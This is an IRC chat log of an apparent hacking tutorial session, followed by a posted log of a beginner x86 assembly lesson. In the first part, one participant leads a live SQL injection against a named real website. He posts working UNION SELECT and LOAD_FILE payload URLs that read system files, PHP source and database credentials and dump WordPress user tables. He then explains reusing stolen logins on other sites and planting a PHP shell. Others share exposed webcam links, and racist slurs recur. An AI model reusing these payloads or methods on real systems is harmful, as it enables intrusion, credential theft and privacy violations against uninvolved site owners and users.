(11:16:02 PM) TylerDurden: So i usually just nuke.
(11:17:07 PM) hatter: passin out.
(11:17:19 PM) Mutiny: its lulzy just how much shit google can find me
(11:17:29 PM) Mutiny: http://202.212.193.26:555/CgiStart?page=Single&Mode=Motion&Language=0 <– random camera
(11:17:38 PM) TylerDurden: yeah.
(11:17:51 PM) TylerDurden: The basic idea is: GET INFORMATION
(11:17:55 PM) TylerDurden: See the shit they are running.
(11:17:58 PM) TylerDurden: Search for known exploits.
(11:17:59 PM) TylerDurden: can't find one? make one.
(11:18:02 PM) zone left the room (quit: Quit: Terminal lost).
(11:18:08 PM) TylerDurden: You know shit code when you see it.
(11:18:33 PM) TylerDurden: So, anyone fancy a go at a real server, @ info gathering?
(11:18:45 PM) whiteh8: <—_____—
(11:19:34 PM) TylerDurden: http://www.ourkids.net/ <-remember that site?
(11:19:36 PM) pRjck3vC left the room (quit: Remote host closed the connection).
(11:19:36 PM) TylerDurden: let's rape our kids.
(11:19:41 PM) TylerDurden: lulz.
(11:19:52 PM) Mutiny: lulz
(11:19:53 PM) pRjck3vC [~qz5UMksT@1658845.B49D77DF.380801F2.IP] entered the room.
(11:20:06 PM) TylerDurden: http://www.ourkids.net/school/school-profile.php?id=157%27 here's the SQL vulnerable url.
(11:20:09 PM) TylerDurden: you know what to do.
(11:20:39 PM) God: anyone know how to bypass opendns
(11:21:01 PM) TylerDurden: God: bro u tryin' to hax me?
(11:21:28 PM) God: naw this wack ass ap im on has opendns because its a business
(11:21:41 PM) God: and i cant view most sites
(11:21:44 PM) God: bc of the shit
(11:22:47 PM) LordKitsuna: God, ssh
(11:23:18 PM) LordKitsuna: God, and i am pretty sure if you manually set your computer to a spicific

dns it gets past it
(11:23:23 PM) LordKitsuna: try setting your comp to use googledns
(11:23:28 PM) LordKitsuna: see what happens
(11:25:26 PM) TylerDurden: http://www.ourkids.net/school/school-basic-profile.php?id=157
%27%20or%201=1/* <-here's how to SQL it btw.
(11:25:29 PM) TylerDurden: ok.
(11:25:34 PM) TylerDurden: everyone got /etc/passwd by now?
(11:27:34 PM) TylerDurden: hatter: how 'bout you?
(11:27:35 PM) dildo_baggins [~dildo_bag@LulzCo-A7CD0178.dsl.irvnca.sbcglobal.net] entered the
room.
(11:28:07 PM) dildo_baggins left the room (quit:).
(11:28:43 PM) TylerDurden: ok. here's a hint
(11:28:47 PM) TylerDurden: it's a 60 column injection.
(11:29:11 PM) TylerDurden: http://www.ourkids.net/school/school-basic-profile.php?id=157
%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2
(11:29:28 PM) TylerDurden: http://www.ourkids.net/school/school-basic-profile.php?id=157
%27%20and%201=2%20UNION%20SELECT%201,2,CONCAT_WS%28CHAR%2832,58,32%29,user
%28%29,database%28%29,version%28%29
%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,3
(11:29:39 PM) Silly_Dude [~Bugzilla@BAD74B3E.155A7175.DC20DBBE.IP] entered the room.
(11:29:48 PM) venuism left the room (quit: Ping timeout: 240 seconds).
(11:29:58 PM) TylerDurden: http://www.ourkids.net/school/school-basic-profile.php?id=157
%27%20and%201=2%20UNION%20SELECT%201,2,LOAD_FILE%28%27/etc/passwd
%27%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,
(11:30:03 PM) TylerDurden: ok.
(11:30:04 PM) TylerDurden: now you all have /etc/passwd.
(11:30:07 PM) LordKitsuna: if this doesnt convince you guys to use ssl always idk waht will
http://i.imgur.com/1eKyU.jpg
(11:30:44 PM) TylerDurden: so.
(11:30:50 PM) TylerDurden: any of you fags got the password file yet?
(11:31:01 PM) cereal [~kellogs@1F36E087.2AD70A87.3C0E7904.IP] entered the room.
(11:31:03 PM) TylerDurden: since i basically handed it to u.
(11:31:08 PM) mode (-m) by TylerDurden
(11:31:12 PM) TylerDurden: unmuted so you can spam too.
(11:31:50 PM) eax: just tuned in: to bypass some restrictions you can also convert /etc/passwd into hex
or use the char() function
(11:31:58 PM) TylerDurden: eax: already covered.
(11:32:03 PM) eax: ah k
(11:32:03 PM) ref: got it…
(11:32:17 PM) TylerDurden: apache:x:48:48:Apache:/var/www:/sbin/nologin
(11:32:24 PM) TylerDurden: what does that tell us?
(11:33:46 PM) TylerDurden: it tells us that it's using the default wwwroot, right.
(11:34:47 PM) JBAIT left the room (quit: Remote host closed the connection).
(11:34:58 PM) ref: presumably
(11:34:59 PM) llama: also shadow
(11:35:42 PM) TylerDurden: shadow file already?
(11:35:42 PM) TransfiniteGreyWizard left the room (quit:).
(11:35:42 PM) TylerDurden: lulz.
(11:35:43 PM) TylerDurden: nice.
(11:36:15 PM) LordKitsuna: who is failing at port scanning the test server?
(11:36:23 PM) llama: heh, I wish. no, I was answering your question (what does that tell us?)
(11:36:39 PM) LordKitsuna: *Port Scan* detected from 180.149.96.69 (MN/Mongolia/-). 11 hits in the
last 109 seconds – *Blocked in csf* [PS_LIMIT]
(11:36:44 PM) garrett: ddd
(11:37:02 PM) TylerDurden: nuke it.
(11:39:15 PM) Mutiny: ok so
(11:39:16 PM) Mutiny: my fucking
(11:39:18 PM) Mutiny: firefox
(11:39:19 PM) Mutiny: just saiod
(11:39:20 PM) Mutiny: said
(11:39:24 PM) God: naw dns
(11:39:25 PM) Mutiny: "shh don't tell the terrorists"
(11:39:27 PM) Mutiny: wtf
(11:39:39 PM) God: googdns fucked my shit off
(11:39:41 PM) God: :/
(11:39:47 PM) God: nevermind ima figure this out
(11:39:56 PM) TylerDurden: http://www.ourkids.net/school/school-basic-profile.php?id=157
%27%20and%201=2%20UNION%20SELECT%201,2,LOAD_FILE%28%27/etc/httpd/conf/httpd.conf
%27%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,
hint: httpd.conf
(11:40:21 PM) TylerDurden: DocumentRoot "/var/www/html"
(11:40:51 PM) whiteh8: Fox, where you at homeboy
(11:41:32 PM) JBAIT [~JBAIT@LulzCo-8312FFBC.torservers.net] entered the room.
(11:41:49 PM) Mutiny: bahahahahahahaha
(11:41:54 PM) Mutiny: http://180.148.197.212:81/ViewerFrame?Mode=Motion&Resolution=640×480&
Quality=Clarity&PresetOperation=Move&Language=5 sweatshop camera ftw
(11:43:03 PM) TylerDurden: lol
(11:43:07 PM) TylerDurden: looks like someone nuked the logs.
(11:43:32 PM) wutthe [fork@LulzCo-F916DAF9.ca] entered the room.

(11:45:15 PM) JBAIT: someone trying to figure out where the sweatshop is ?
(11:45:26 PM) ref: in my shed
(11:45:50 PM) seneca [seneca@LulzCo-DA78DD33.com] entered the room.
(11:45:52 PM) thatsnice left the room (quit: Quit: Ex-Chat).
(11:45:53 PM) Hellspawn: japan somewhere
(11:45:59 PM) Hellspawn: all the writing is in jap
(11:46:07 PM) JBAIT: ya sure
(11:46:11 PM) TylerDurden: http://www.ourkids.net/school/school-basic-profile.php?id=157
%27%20and%201=2%20UNION%20SELECT%201,2,LOAD_FILE%28%27/var/www/html/ourkids.net
/camp/camp-life.php
%27%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,
you can read their php code now.
(11:46:12 PM) JBAIT: looked chinese
(11:46:21 PM) TylerDurden: ok, what do we see here with this new info?
(11:46:27 PM) TylerDurden: except that we can drop into outfile and get a php shell?
(11:46:42 PM) ryan1918: what the fuck
(11:46:43 PM) ryan1918: is this
(11:46:47 PM) ryan1918: a 1 2 3 how to hack
(11:46:48 PM) TylerDurden: $server = "localhost";
(11:46:48 PM) TylerDurden: $username = "webuser";
(11:46:48 PM) TylerDurden: $password = "webUSer!@";
(11:46:48 PM) TylerDurden: $database = "camp_directory";
(11:46:54 PM) TylerDurden: shit passwords is what we noticed.
(11:47:08 PM) TylerDurden: you can now insert penis into database.
(11:47:17 PM) llama:
(11:47:26 PM) TylerDurden: let's drop a php shell shall we?
(11:47:51 PM) ryan1918: lets drop sumin
(11:47:53 PM) ryan1918: fo sho
(11:48:45 PM) TylerDurden: ok, into outfile = no permissions.
(11:48:53 PM) TylerDurden: so, what do we do next.
(11:49:19 PM) TylerDurden: right, we see if they REUSE the shit pass on the db, we see if we can use
the db login for michief, we see if we can extract tables and dox.
(11:49:30 PM) TylerDurden: first one to get dox can use them.
(11:49:39 PM) TylerDurden: how 2 use dox:
(11:49:45 PM) TylerDurden: you write a bash scripts that remove dups.
(11:49:50 PM) TylerDurden: using sed/grep
(11:50:00 PM) ref: can i use perl lol
(11:50:17 PM) TylerDurden: sure.
(11:50:17 PM) TylerDurden: you then try these dox against common sites, gmail facebook etc.
(11:50:23 PM) TylerDurden: you dump the ones that have .gov .mil extensions or are reused.
(11:50:31 PM) TylerDurden: you see if you can use those to root MORE sites.
(11:50:41 PM) Hellspawn: LOL @ camera
(11:50:45 PM) Hellspawn: she saw it move
(11:51:10 PM) TylerDurden: now for the people more into exploiting, this server runs a vulnerable
openssh too.
(11:51:14 PM) TylerDurden: so it's pretty much the ideal test target.
(11:51:24 PM) TylerDurden: and a vulnerable mysql, you can load modules.
(11:51:28 PM) JBAIT: bra shot XD
(11:51:37 PM) TylerDurden: post ling.
(11:51:41 PM) Mutiny: http://221.251.109.90:84/CgiStart?page=Multi&Language=0 Kittehs camera
(11:51:45 PM) TR0|\|: going to load a php shell?
(11:52:03 PM) TylerDurden: TR0: no thats what ur sposed to do.
(11:52:14 PM) TylerDurden: oy look, pale gook legs.
(11:52:29 PM) cereal is now known as venuism
(11:53:30 PM) TylerDurden: ok. now that you know how2sqli, you're pretty much on par with GFORCE
PAKISTAN/INDIAN kiddies.
(11:53:48 PM) TylerDurden: we cant write to wwwroot tough, and this is annoying.
(11:53:52 PM) TylerDurden: we have a sql user and sql exploits.
(11:54:03 PM) TylerDurden: exploitin' that is left as an exercise to the reader.
(11:54:19 PM) eXodus left the room (quit: Quit: Bye!).
(11:54:23 PM) TylerDurden: but i'm of course willing to help in case you want to go further.
(11:54:41 PM) ref: thanks for the lesson TylerDurden, much more interesting than HC11 rubbish
(11:55:13 PM) JBAIT: Thank you TylerDurden
(11:55:20 PM) TylerDurden: http://www.ourkids.net/school/school-basic-profile.php?id=157
%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2
%20%27/var/tmp/niggers%27%20/* <-you can write /var/tmp tough.
(11:55:40 PM) TylerDurden: requesting -m
(11:55:50 PM) Tony: is -m~)~
(11:55:59 PM) TylerDurden: lulz, so silent.
(11:56:28 PM) ref: now to modify frequency scaling kernel module?
(11:56:37 PM) TylerDurden:
(11:57:00 PM) ref: nothing like a bit of magic smoke in the server room
(11:57:58 PM) wutthe: it's good stuff, thanks
(11:58:33 PM) wutthe: i missed a little bit of the discussion, how do you generate those values?
(11:59:09 PM) eax: what values?
(11:59:12 PM) wutthe: i mean i assume the 1,2,3,4 is like a buffer overflow?
(11:59:22 PM) whiteh8:
(11:59:24 PM) eax: those are columns

(11:59:35 PM) eax: can be found by the 'order by' statement
(11:59:42 PM) wutthe: sorry, i joined after the intro
(11:59:49 PM) eax: lol np
(11:59:52 PM) whiteh8: you just need to know sql to understand
(06/11/2011 12:00:22 AM) wutthe: ok thanks, i will read a little more and follow along
(12:00:47 AM) pedro left the room (quit: Remote host closed the connection).
(12:00:50 AM) eax: someone should pastebin this and pm me it
(12:00:57 AM) eax: so i can forward it to fox later
(12:01:26 AM) Spellga [Spellga@9B7EAB7E.FB625796.A951F2FE.IP] entered the room.
(12:01:39 AM) TylerDurden: http://www.securityfocus.com/bid/19559 also elevate to mysql root
(12:01:44 AM) TylerDurden: see if you can do into outfile then;)
(12:01:57 AM) TylerDurden: if you couldn't on a normal mysql user
(12:02:02 AM) TylerDurden: (not in this case tough)
(12:02:09 AM) ref: security focus still exists!?
(12:02:46 AM) inversion left the room (quit: Quit: (wiRC v9.0) download it @ www.warIRC.com).
(12:02:50 AM) TylerDurden: ya
(12:03:04 AM) ***ref has been hiding in a loopback world for a few years
(12:03:24 AM) micja: just don't use DROP
(12:04:17 AM) TylerDurden: i'll probably post an extended bash script on how2 server info l8er.
(12:04:25 AM) hellothere [~hellother@LulzCo-46ABD4F0.zone14.bethere.co.uk] entered the room.
(12:05:02 AM) Tony: hellothere
(12:05:40 AM) blu3beard left the room (quit: Remote host closed the connection).
(12:05:47 AM) hellothere: what?
(12:05:49 AM) JBAIT: to the chinese camop, try n figure out where this place is, then pimp the chick ;P
(12:05:54 AM) ryan1918: hellothere
(12:05:55 AM) ryan1918: FAGGIT
(12:06:22 AM) ref: JBAIT its not chinese
(12:06:24 AM) ref: turn the camera around
(12:06:28 AM) Spellga left the room (quit:).
(12:06:55 AM) takecare [takecare@9B7EAB7E.FB625796.A951F2FE.IP] entered the room.
(12:06:56 AM) blu3beard [~none@LulzCo-94D6C168.formlessnetworking.net] entered the room.
(12:07:09 AM) ryan1918: !kick hellothere sucka
(12:07:15 AM) JBAIT: i saw the letters, but i don't understand what language they r
(12:07:22 AM) DevCore [~DevCore@FE54ADAD.99231015.CFD7EFAA.IP] entered the room.
(12:07:24 AM) Tony: italiano_O?
(12:07:26 AM) Mutiny: http://pastebin.com/rjqCmbK0 <– My compiled list of cameras, cuz I was bored lolz
(12:07:39 AM) LordBulletproofGangster: newbs101 :how a newb can teach another newb how to exploit using basic linux knowledge and an exploit thats been our for YEARS
(12:07:59 AM) hellothere left the room (Kicked by ryan1918 (sucka)).
(12:08:06 AM) hellothere [~hellother@LulzCo-46ABD4F0.zone14.bethere.co.uk] entered the room.
(12:08:21 AM) LordBulletproofGangster: wonder if TylerDurden did anything worth noting
(12:08:21 AM) hellothere: lol ryan thinks he is a haxxor
(12:08:26 AM) wutthe: <Ryan> [hellothere] is actually ~hellother@188-223-250-182.zone14.bethere.co.uk
(12:08:27 AM) hellothere left the room (Kicked by ryan1918 (hacked)).
(12:08:27 AM) takecare: what vpn u guys reckon?
(12:08:32 AM) hellothere [~hellother@LulzCo-46ABD4F0.zone14.bethere.co.uk] entered the room.
(12:08:33 AM) hellothere left the room (Kicked by ryan1918 (i got you)).
(12:08:38 AM) hellothere [~hellother@LulzCo-46ABD4F0.zone14.bethere.co.uk] entered the room.
(12:08:39 AM) hellothere left the room (Kicked by ryan1918 (ahahahah)).
(12:08:50 AM) llama left the room (quit: Remote host closed the connection).
(12:08:56 AM) JBAIT: takecare, the ones that hate the west
(12:09:01 AM) chkkit [~chkkit@DA5E26EB.F36772F8.210D96CE.IP] entered the room.
(12:09:28 AM) LordBulletproofGangster: hey TylerDurden
(12:09:34 AM) LordBulletproofGangster: if your such a great hacker
(12:09:35 AM) takecare: name one ?
(12:09:38 AM) LordBulletproofGangster: hack me
(12:09:39 AM) LordBulletproofGangster:
(12:09:44 AM) LordBulletproofGangster: just saying
(12:09:51 AM) LordBulletproofGangster: or
(12:09:53 AM) LordBulletproofGangster: let me guess
(12:09:54 AM) ref: how many times have i heard that…
(12:09:56 AM) LordKitsuna: i swear to god LordBulletproofGangster your long name pissnig me off so much
(12:09:59 AM) LordBulletproofGangster: 1 hit wonder
(12:10:14 AM) LordBulletproofGangster: if i am not vuln to the 1-2 exploits you mass scan for you cant hack
(12:10:21 AM) LordBulletproofGangster: i need schooling on how to hack bro
(12:10:23 AM) LordBulletproofGangster: TylerDurden
(12:10:25 AM) wutthe: you as in your home machine?
(12:10:26 AM) LordBulletproofGangster: give me some help
(12:10:30 AM) LordBulletproofGangster: show me how to hack
(12:10:36 AM) zephyr [~zephyr@4FBDF8E9.A1B84F98.F8DB84ED.IP] entered the room.
(12:10:40 AM) ref: LordBulletproofGangster, are you zmda
(12:10:53 AM) LordBulletproofGangster: i want to see if your competant or just someone who would like to call themselves a hacker
(12:10:54 AM) hellothere [~hellother@LulzCo-46ABD4F0.zone14.bethere.co.uk] entered the room.

(12:11:01 AM) M7 [~asmalls@758E2EB1.71EE3EBA.1B0CED7B.IP] entered the room.
(12:11:02 AM) TylerDurden: http://codex.wordpress.org/Database_Description#Table:_wp_users also they run wordpress.
(12:11:08 AM) LordBulletproofGangster: maybe i can school you in some shit TylerDurden
(12:11:10 AM) JBAIT: LordBulletproofGangster probably feels 1337 with his OBSD
(12:11:12 AM) blu3beard: lol lordkitsuna, me too
(12:11:21 AM) takecare: what vpn u guys reckon?
(12:11:21 AM) blu3beard: fucking up xchat…
(12:11:33 AM) LordBulletproofGangster: actually
(12:11:42 AM) LordBulletproofGangster: any oper can give you the IP to this box
(12:11:46 AM) wutthe: fuck off we are trying to learn here
(12:11:54 AM) wutthe: go to #lulzsec
(12:11:55 AM) LordBulletproofGangster: and lol at you when they tell you it doesnt have IIS
(12:12:00 AM) LordBulletproofGangster: or OBSD
(12:12:17 AM) LordBulletproofGangster: ryan1918 and ryan both know the host i am connecting on
(12:12:31 AM) ref: LordBulletproofGangster, dropped out of comp sci because he was too clever to pay attention to calculus, and come the final exams walked out after 5 minutes because 'it's all useless rubbish'
(12:12:32 AM) ryan1918: of course
(12:12:48 AM) ryan1918: quite down everyone
(12:12:50 AM) ryan1918: im trying to sleep
(12:12:51 AM) LordBulletproofGangster: ryan1918: is this box running OBSD ?
(12:12:53 AM) mode (+b *!*Krashed@*.oes.ca.gov) by LordKitsuna
(12:12:54 AM) LordBulletproofGangster left the room (Kicked by LordKitsuna (pm me when you have changed your name to something shorter)).
(12:13:02 AM) blu3beard: thank you
(12:13:06 AM) mode (-b *!*Krashed@*.oes.ca.gov) by ryan1918
(12:13:08 AM) ryan1918: hes fine
(12:13:10 AM) ryan1918: just leave him
(12:13:14 AM) ryan1918: he can annoy the others
(12:13:23 AM) LordKitsuna: his name pushes my text so far over
(12:13:26 AM) LordKitsuna: makes me wanna stab him
(12:13:30 AM) ryan1918: yah
(12:13:32 AM) ryan1918: ima make him change it
(12:13:33 AM) ryan1918: or ban
(12:13:37 AM) Kred [krashed@LulzCo-AC935CAE.org] entered the room.
(12:13:37 AM) eax: STAB NIGGERS
(12:13:42 AM) hellothere left the room (quit: Remote host closed the connection).
(12:13:47 AM) eax: STABBY STAB STABS
(12:13:50 AM) JBAIT: nicks < 12
(12:13:55 AM) wutthe: ouch
(12:13:58 AM) Kred is now known as [Krashed]
(12:13:59 AM) TylerDurden: http://www.ourkids.net/school/school-basic-profile.php?id=157%27%20and%201=2%20UNION%20SELECT%201,2,%28select%20GROUP_CONCAT%28CONCAT%28us%27%3Cbr%3E%27%29%29%20from%20wordpress.wp_users%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,2dox.
(12:14:02 AM) LordBulletproofGangster [~Krashed@LulzCo-82D421E5.oes.ca.gov] entered the room.
(12:14:14 AM) LordBulletproofGangster left the room (Kicked by God (LordBulletproofGangster)).
(12:14:15 AM) LordBulletproofGangster [~Krashed@LulzCo-82D421E5.oes.ca.gov] entered the room.
(12:14:17 AM) TylerDurden: i bet one of them reuses ssh pass.
(12:14:40 AM) ryan1918: man
(12:14:42 AM) ryan1918: rename ur nick
(12:15:09 AM) LordBulletproofGangster left the room (quit: Quit: (www.nnscript.com :: NoNameScript 4. :: www.esnation.com)).
(12:15:14 AM) LordBulletproofGangster [krashed@LulzCo-E2836C85.crownpoint.in.gov] entered the room.
(12:15:17 AM) LordBulletproofGangster is now known as Krashed
(12:15:30 AM) M7 left the room (quit:).
(12:15:31 AM) TylerDurden: 'sup krashed
(12:15:33 AM) ryan1918: ty
(12:15:35 AM) M7 [~asmalls@758E2EB1.71EE3EBA.1B0CED7B.IP] entered the room.
(12:15:37 AM) TylerDurden: HOW DO I HAX COMPUTAR?
(12:15:43 AM) mode (+v Krashed) by ryan1918
(12:15:58 AM) TylerDurden: also, you see now that h4x0ring with sqli is neither high tech nor difficult.
(12:16:09 AM) Krashed: if you dont know how, thats your problem
(12:16:29 AM) Krashed: just thought since your like a skilled hacker maybe you can show me a thing or 2
(12:16:31 AM) Krashed: i am just a newb
(12:16:46 AM) Krashed: i am sure your worthy enough to hack me
(12:16:56 AM) TylerDurden: http://hacking.on.nimp.org ->lern 2 hack there.

Assembly (by hatter & eax)

Posted by xoxo on June 11, 2011 None comments

<hatter> class is now in session
<hatter> Basics of assembly, bytecode, and processors

<hatter> Processors & CPU's
* Marti-n has quit (Read error: Connection reset by peer)
<hatter> Have gates
<hatter> These gates
<hatter> are accessed by instructions
<hatter> now processors have little pieces of memory, known as registers
* halcyon1 (~nuri@LulzCo-F91D19D3.plspca.dsl-w.verizon.net) has joined #school4lulz
<hatter> which are either 32 bits, or 64 bits (4 bytes or 8 bytes) in length, respectively.
<hatter> Gates are little more than a piece of hardware circuitry.
<hatter> When an instruction is executed, one of the available gates is used
<hatter> operands are received by these gates
<hatter> Sometimes the operands are registers, other times the operands are static values.
* halcyon has quit (Ping timeout: 240 seconds)
<hatter> registers may contain any integer up to their size (in hex) or a pointer to any piece of data
<hatter> pointers to strings, for example, are null terminated, hence you've seen \0 in a lot of C, also \x00
<hatter> A single byte (8 bits) is capable of executing an instruction, or calling access to a gate.
<hatter> There are several basic instructions (primitives) and several general-purpose registers on the x86 processor architecture.
<hatter> I'll turn it over to eax to explain those
<eax> these basic instructions consist of
* halcyon1 has quit (Ping timeout: 240 seconds)
* rawr has quit (Remote host closed the connection)
<eax> push(pushl)
<eax> pushb
<eax> movb
<eax> movl
<eax> pop
<eax> addl
<eax> addb
<hatter> (By the way, this is ATT System V assembly, not intel, but it works on both architectures)
<eax> imul
* noopslider (~unknownus@LulzCo-72F419C5.dip.t-dialin.net) has left #school4lulz
<eax> and depending on your syntax these may be different
<hatter> don't forget
<hatter> inc
<hatter> dec
<eax> (also the way you call them may be different)
<eax> i will be explaining their usage in at&t system v syntax
<eax> starting with movb/movl
<hatter> The general purpose registers include (but are not limited to)
<hatter> eax, ebx, edx, ecx,
* nachash (~nachash@210-50-93-160.ade.iprimus.net.au) has joined #school4lulz
<hatter> ebp
<hatter> etc
<eax> ah yes
<hatter> Registers are preceeded by a % in ATT notation
* bumfiend1 has quit ()
<hatter> So now you can all enjoy the joke of the handle and halfop %eax
<hatter> For those of you who didn't get it before 
<eax> lol
* whiteh8 has quit (Remote host closed the connection)
<eax> ok so the basics of movb and movl
<eax> movb stands for move byte
* ryan1918 has quit (Ping timeout: 240 seconds)
<eax> it is used for moving 1 byte of data into a register
* bnannerz (~bnannerz@1433C591.795AAC8A.D6F486B0.IP) has joined #school4lulz
<eax> as the name states lol
* pilgrim (~Pilgrim@F693A84D.73864D08.BFDD1873.IP) has joined #school4lulz
<hatter> oh, one more thing -
<eax> it can also be used in conjuntion with %al
<hatter> These are 32 bit
<hatter> registers
* halcyon (~nuri@LulzCo-F91D19D3.plspca.dsl-w.verizon.net) has joined #school4lulz
<hatter> 64 bit registers are %rax, %rbp, etc
<hatter> essentially the same names, preceeded by an 'r'
<hatter> in stead of an 'e
<hatter> '
<hatter> A register is built from several sub-registers
<hatter> as we used to have 8 bit
<hatter> long ago
<hatter> before we ever had 64 bit
<hatter> the eax register
<hatter> is actually
* pilgrim has quit ()
<hatter> hrm
<hatter> Lemme ascii art it
<hatter> 

* tfk0n1ne (~tfk09@C77FF6A6.FADC2A2D.F1D77C68.IP) has joined #school4lulz
<eax> lawl i dont think we will ever get to the basic commands :3
<eax> anyways usage of movl and movb is
<eax> movl $data, %register
<hatter> |
<hatter> +——eax——
<hatter> |
<hatter> +–ax—
<hatter> ah al
<hatter> movl $fromdata, %toregister
<eax> (that moves 4 bytes of data to a register)
<hatter> eax: you referenced %al and we can't assume they know what that is
<hatter> lol
<eax> google it!
<hatter> ^
<hatter> Ok new rule
<eax> nah %eax is split into 4bytes
<hatter> If you don't know what it is
<hatter> Google
<hatter> before asking questions
<eax> %ax is 2 bytes long
<hatter> if you have questions, pm one of us
<nyann> literally google, or just mean search?
<hatter> if its something the whole class should know we'll say it out here
<hatter> search.
<eax> %ah and %al are 1 bytes and make up %ah
<eax> ax*
<hatter> %ah and %al are 1 bytes and make up %ax
<hatter> For clarification.
<hatter> so
<hatter> One of the most important instructions
<hatter> is int
<hatter> as in kernel interrupt.
<hatter> The kernel has a mainloop
<hatter> that just runs in circles checking on running programs
<hatter> to see if they need its attention.
<hatter> if they do, the kernel will execute the command required by the application, given that the user running the application is privileged enough to do so
<hatter> so our first example
<hatter> will be exit
<hatter> In assembly, your first program is exit, as opposed to 'hello world'
<hatter> because you do actually have to write code to exit the program.
<eax> (fyi google: "programming from the ground up" great resource imho)
<hatter> Quite a great book
<hatter> eax learned from it
<hatter> Its one of my favorites.
<hatter> Its a free ebook
<hatter> So no worries
<hatter> its available in pdf, softcover or hardcover
<hatter> (obviously physical copies cost money)
<hatter> eax: teach'em exit
<hatter> lol
<eax> k
<eax> i am going to display the asm code for exit fist then explain it
<eax> movl $0, %ebx
<eax> movl $1, %eax
<eax> int $0×80
<hatter> Oh
* halcyon has quit (Ping timeout: 240 seconds)
<hatter> EVERYONE WHO CAN:
<hatter> Open up a text editor
<hatter> and put that in there
<hatter> if you are on linux
<hatter> n save it
<hatter> (Lets at least walk them through it eax)
<eax> lol k
<eax> ok the first instruction moves 0 into %ebx
<hatter> ^
* ryan1918 (~ryan@7016F228.B696884D.7E210C26.IP) has joined #school4lulz
<eax> (0×00000000) is what it actually looks like
<eax> because it is a dword (8 bytes)
<hatter> because you're moving a long (or doubleword) into a 32 bit register
<eax> the next instruction moves 1 into eax
<Dox> save it with what ext?
<eax> (0×0000001)
<eax> ill talk about that in a sec
<eax> next instruction is the system interupt which tells the proccessor hey do this shit
<t> sup nigs
<hatter> That's correct,

<eax> every time you file an interupt it checks %eax for what command you want to do
<hatter> its the kernel interrupt
<eax> $1 = exit
<hatter> (ON LINUX)
<eax> for the exit command it has another variable to assist it (%ebx)
* MoDahkah (~White@LulzCo-BCEEBD65.dyn.optonline.net) has joined #school4lulz
<eax> this is the return variable to the system for the exit call
<hatter> You may or may not have seen
<eax> it is almost like return 0; or exit(0); in C
<hatter> Exit code 127
<hatter> in scripts
<hatter> that means the file wasn't found
<hatter> etc
<hatter> a good example
<hatter> if you have your linux shell
<hatter> type some random shit that obviously isn't a command
<hatter> then type
<hatter> echo $?
<hatter> with the ? mark
<hatter> hatter ~ $ awiefuweiufh
<hatter> awiefuweiufh: command not found
<hatter> hatter ~ $ echo $?
<hatter> 127
<hatter> hatter ~ $ cd descry
<hatter> hatter ~/descry $ echo $?
<hatter> 0
<hatter> $? means exit status was normal
* hurr has quit (Remote host closed the connection)
<hatter> Anything else is an error
<hatter> An application can have up to 255 basic errors
<eax> ok so now that we have the return value in %ebx and the exit cod in %eax and the system interupt. it is time to assemble and link/
<eax> so our code looks like this
<eax> movl $0, %ebx
<eax> movl $1,
<eax> int $0×80
<eax> erm movl $1, %eax*
<eax> name the file test.s
<eax> in order to assemble we have to call the 'as' command
<eax> so pull up your linux terminal
* foobar29 (~Adium@LulzCo-ABE23DDB.dyn.iinet.net.au) has joined #school4lulz
<eax> navigate to where you saved test.s
<eax> and type in
<eax> as test.s -o test.o
<eax> this will take the source code adn assemble it producing an object file
<eax> (-o is the output flag and what is after is the filename)
<eax> after this we can link the file togeth using the 'ld' command
<eax> ld test.o -o test
<eax> (later on if we get to it you can also dynamically link other libvarys for use in your project that include funcitons like prinf)
<eax> so now that we have an assembled binary we can run it like so
<eax> ./test
<eax> now it may seem as if it did nothing but what happened was it opened and put $0 into %ebx (the retuyrn value)
<eax> and then exit itself
<eax> if you type echo $?
<eax> it should produce 0
<hatter> It wil have that 0 from %ebx.
<hatter> So you funny guys
<hatter> can change that first line
<hatter> to
<hatter> movl $69, %ebx
<hatter> and re-assemble it
<hatter> when you echo $?
<hatter> it'll say 69
<hatter> in stead of 0
<hatter> obviously
<hatter> No one in here has tried this
<hatter> Because I haven't been spammed with 'it won't assemble' messages.
<hatter> So kids hurry up and try it
<hatter> The reason that won't assemble
<hatter> is because
<hatter> there's no text or data segment
<hatter> the whole exit code is as follows:
<hatter> .section .data
<hatter> .section .text
<hatter> .globl _start
<hatter> _start:
<hatter> movl $0, %ebx

<hatter> movl $1, %eax
<hatter> int $0×80
<hatter> –END–
* lighthouse (~shadow@LulzCo-10001504.tampabay.res.rr.com) has joined #school4lulz
<hatter> So
<hatter> Those of you who care to learn asm
<hatter> Go ahead and put that in
<hatter> save your file as 'test.s'
<hatter> then run
<hatter> as test.s -o test.o
<hatter> ld test.o -o test
<hatter> ./test
<hatter> echo $?
<hatter> you should get a zero
<hatter> anyone having a hard time may pm me
* bnannerz (~bnannerz@1433C591.795AAC8A.D6F486B0.IP) has left #school4lulz
<God>
* hatter gives voice to null-
<hatter> null-: raised a valid point
<hatter> Go ahead and talk
<hatter> explain your problem and why, then I'l explain the solution
<God> ..
<null-> the former code from eax assembled in my machine (32bit OS on 64bit CPU) and got the following warning
<null-> ld: warning: cannot find entry symbol _start; defaulting to 0000000008048054
<null-> now hatter will explain why that happen
<hatter> Essentially
<hatter> He's running a 32 bit exit call
<hatter> null-: go ahead and cat your file
<hatter> and paste it
<null-> movl $0, %ebx
<null-> movl $1, %eax
<null-> int $0×80
<hatter> There's no header
* wutthe (fork@LulzCo-F916DAF9.ca) has joined #school4lulz
<hatter> 00:13 <@hatter> there's no text or data segment
<hatter> 00:13 <@hatter> the whole exit code is as follows:
<hatter> 00:13 <@hatter> .section .data
<hatter> 00:13 <@hatter> .section .text
<hatter> 00:13 <@hatter> .globl _start
<hatter> 00:14 <@hatter> _start:
<hatter> 00:14 <@hatter> movl $0, %ebx
